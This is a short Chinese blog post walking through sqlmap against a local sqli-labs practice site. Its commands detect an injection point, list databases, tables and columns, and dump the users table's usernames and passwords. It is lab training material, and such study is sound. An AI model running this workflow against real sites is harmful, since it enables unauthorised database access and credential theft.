Lufer

  • 首页
  • 编程
  • 学习笔记
  • 日常折腾
Lufer
Code the World
  1. 首页
  2. 编程
  3. Python
  4. 正文

SqlMap使用方法

2022年8月31日 157点热度 0人点赞 0条评论

检查是否存在注入点

使用-u参数传入目标url

C:\Python27\python.exe .\sqlmap.py -u http://192.168.1.108/sqli-labs-master/Less-1/?id=1 --batch

检测发现存在注入点。

检测当前数据库

使用--current-db命令获取当前数据库。

C:\Python27\python.exe .\sqlmap.py -u http://192.168.1.108/sqli-labs-master/Less-1/?id=1 --current-db --batch

成功获取到当前数据库为security。

获取数据库表

使用-D参数指定数据库,使用--tables参数扫描表。

C:\Python27\python.exe .\sqlmap.py -u http://192.168.1.108/sqli-labs-master/Less-1/?id=1 -D security --tables --batch

获取到一张名为users的表。

获取表字段

使用-T参数指定使用的表,然后使用--columns参数获取表字段。

C:\Python27\python.exe .\sqlmap.py -u http://192.168.1.108/sqli-labs-master/Less-1/?id=1 -D security -T users --columns --batch

成功获取到表存在三个字段:id、password、username

获取表内容

使用-C命令来获取指定字段的值,使用--dump命令来导出值。

C:\Python27\python.exe .\sqlmap.py -u http://192.168.1.108/sqli-labs-master/Less-1/?id=1 -D security -T users -C id,password,username --dump --batch
标签: 暂无
最后更新:2022年8月31日

Lufer

新的一天开始啦

点赞
< 上一篇
下一篇 >

文章评论

取消回复

文章目录
  • 检查是否存在注入点
  • 检测当前数据库
  • 获取数据库表
  • 获取表字段
  • 获取表内容

COPYRIGHT © 2022 lufer.cc.

Theme Kratos Made By Seaton Jiang

鲁ICP备2021045819号